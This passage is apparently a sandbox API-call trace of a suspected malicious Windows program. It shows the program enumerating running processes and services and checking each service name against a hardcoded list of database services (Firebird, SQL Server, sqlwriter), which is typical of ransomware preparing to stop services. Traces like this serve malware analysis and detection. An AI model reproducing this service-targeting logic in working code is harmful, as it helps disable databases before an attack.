pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.085] lstrlenW (lpString="lsass.exe") returned 9 [0276.085] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.086] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.086] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.087] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.087] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.087] lstrlenW (lpString="svchost.exe") returned 11 [0276.087] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.088] lstrlenW (lpString="svchost.exe") returned 11 [0276.088] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.088] lstrlenW (lpString="dwm.exe") returned 7 [0276.089] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.089] lstrlenW (lpString="svchost.exe") returned 11 [0276.089] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.090] lstrlenW (lpString="svchost.exe") returned 11 [0276.090] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.090] lstrlenW (lpString="svchost.exe") returned 11 [0276.090] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.091] lstrlenW (lpString="svchost.exe") returned 11 [0276.091] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.091] lstrlenW (lpString="svchost.exe") returned 11 [0276.092] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.092] lstrlenW (lpString="svchost.exe") returned 11 [0276.092] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.093] lstrlenW (lpString="svchost.exe") returned 11 [0276.093] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.093] lstrlenW (lpString="svchost.exe") returned 11 [0276.093] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.094] lstrlenW (lpString="svchost.exe") returned 11 [0276.094] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.094] lstrlenW (lpString="svchost.exe") returned 11 [0276.095] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.095] lstrlenW (lpString="spoolsv.exe") returned 11 [0276.095] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.096] lstrlenW (lpString="svchost.exe") returned 11 [0276.096] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.096] lstrlenW (lpString="audiodg.exe") returned 11 [0276.096] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0276.097] lstrlenW (lpString="sihost.exe") returned 10 [0276.097] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.097] lstrlenW (lpString="svchost.exe") returned 11 [0276.097] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0276.098] lstrlenW (lpString="taskhostw.exe") returned 13 [0276.098] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0276.098] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0276.098] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0276.099] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0276.099] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0276.100] lstrlenW (lpString="Memory Compression") returned 18 [0276.100] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.100] lstrlenW (lpString="explorer.exe") returned 12 [0276.100] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0276.101] lstrlenW (lpString="SearchUI.exe") returned 12 [0276.101] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0276.101] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0276.102] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0276.102] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0276.102] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.103] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0276.103] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0276.103] lstrlenW (lpString="finbbp.exe") returned 10 [0276.103] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0276.104] lstrlenW (lpString="consent.exe") returned 11 [0276.104] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.104] lstrlenW (lpString="svchost.exe") returned 11 [0276.105] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.105] lstrlenW (lpString="dllhost.exe") returned 11 [0276.105] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0276.106] CloseHandle (hObject=0x574) returned 1 [0276.106] Sleep (dwMilliseconds=0x1f4) [0276.779] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa998 [0276.779] EnumServicesStatusExW (in: hSCManager=0x41aa998, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0276.780] GetLastError () returned 0xea [0276.780] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x42d3ff0 [0276.780] EnumServicesStatusExW (in: hSCManager=0x41aa998, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d3ff0, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d3ff0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0276.781] CloseServiceHandle (hSCObject=0x41aa998) returned 1 [0276.782] lstrlenW (lpString="Appinfo") returned 7 [0276.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0276.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0276.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0276.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0276.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0276.782] lstrlenW (lpString="AppXSvc") returned 7 [0276.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0276.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0276.782] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0276.782] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0276.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0276.782] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0276.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.782] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0276.782] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0276.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0276.782] lstrlenW (lpString="Audiosrv") returned 8 [0276.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0276.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0276.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0276.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0276.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0276.782] lstrlenW (lpString="BFE") returned 3 [0276.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0276.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0276.783] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0276.783] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0276.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0276.783] lstrlenW (lpString="BITS") returned 4 [0276.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0276.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0276.783] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0276.783] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0276.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0276.783] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0276.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.783] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0276.783] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0276.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0276.783] lstrlenW (lpString="CDPSvc") returned 6 [0276.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0276.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0276.783] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0276.783] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0276.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0276.783] lstrlenW (lpString="ClickToRunSvc") returned 13 [0276.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0276.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0276.783] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0276.783] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0276.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0276.783] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0276.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.783] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0276.783] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0276.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0276.784] lstrlenW (lpString="CryptSvc") returned 8 [0276.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0276.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0276.784] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0276.784] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0276.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0276.784] lstrlenW (lpString="DcomLaunch") returned 10 [0276.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.784] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0276.784] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0276.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0276.784] lstrlenW (lpString="DeviceAssociationService") returned 24 [0276.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.784] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0276.784] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0276.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0276.784] lstrlenW (lpString="Dhcp") returned 4 [0276.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0276.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0276.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0276.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0276.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0276.784] lstrlenW (lpString="Dnscache") returned 8 [0276.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0276.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0276.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0276.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0276.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0276.784] lstrlenW (lpString="DPS") returned 3 [0276.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0276.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0276.785] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0276.785] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0276.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0276.785] lstrlenW (lpString="DusmSvc") returned 7 [0276.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0276.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0276.785] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0276.785] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0276.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0276.785] lstrlenW (lpString="EventLog") returned 8 [0276.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0276.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0276.785] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0276.785] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0276.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0276.785] lstrlenW (lpString="EventSystem") returned 11 [0276.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0276.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0276.785] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0276.785] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0276.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0276.785] lstrlenW (lpString="FontCache") returned 9 [0276.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0276.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0276.785] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0276.785] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0276.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0276.785] lstrlenW (lpString="gpsvc") returned 5 [0276.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0276.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0276.785] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0276.785] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0276.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0276.786] lstrlenW (lpString="iphlpsvc") returned 8 [0276.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.786] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0276.786] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0276.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0276.786] lstrlenW (lpString="KeyIso") returned 6 [0276.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0276.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0276.786] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0276.786] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0276.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0276.786] lstrlenW (lpString="LanmanServer") returned 12 [0276.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0276.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0276.786] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0276.786] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0276.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0276.786] lstrlenW (lpString="LanmanWorkstation") returned 17 [0276.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.786] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0276.786] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0276.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0276.786] lstrlenW (lpString="lfsvc") returned 5 [0276.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0276.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0276.786] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0276.786] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0276.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0276.786] lstrlenW (lpString="lmhosts") returned 7 [0276.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0276.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 